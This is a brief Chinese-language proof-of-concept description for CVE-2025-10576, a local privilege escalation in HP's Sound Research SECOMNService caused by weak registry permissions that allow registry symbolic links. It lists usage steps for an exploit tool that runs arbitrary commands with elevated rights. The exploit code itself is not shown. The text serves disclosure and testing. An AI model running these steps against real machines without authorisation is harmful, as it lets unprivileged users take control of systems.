CVE-2025-10576

CVE-2025-10576 HP Sound Research SECOMNService 特权提升漏洞。注册表权限设置薄弱，允许任何用户创建注册表符号链接，并强制 SECOMNService 服务创建任意注册表项。 操作步骤： 1. soundresearchpoc.exe prepare 2. 重启 SECOMNService 或机器 3. soundresearchpoc.exe exploit "whoami /all C:\Windows\soundresearch.txt" 4. soundresearchpoc.exe exploit "another command" ...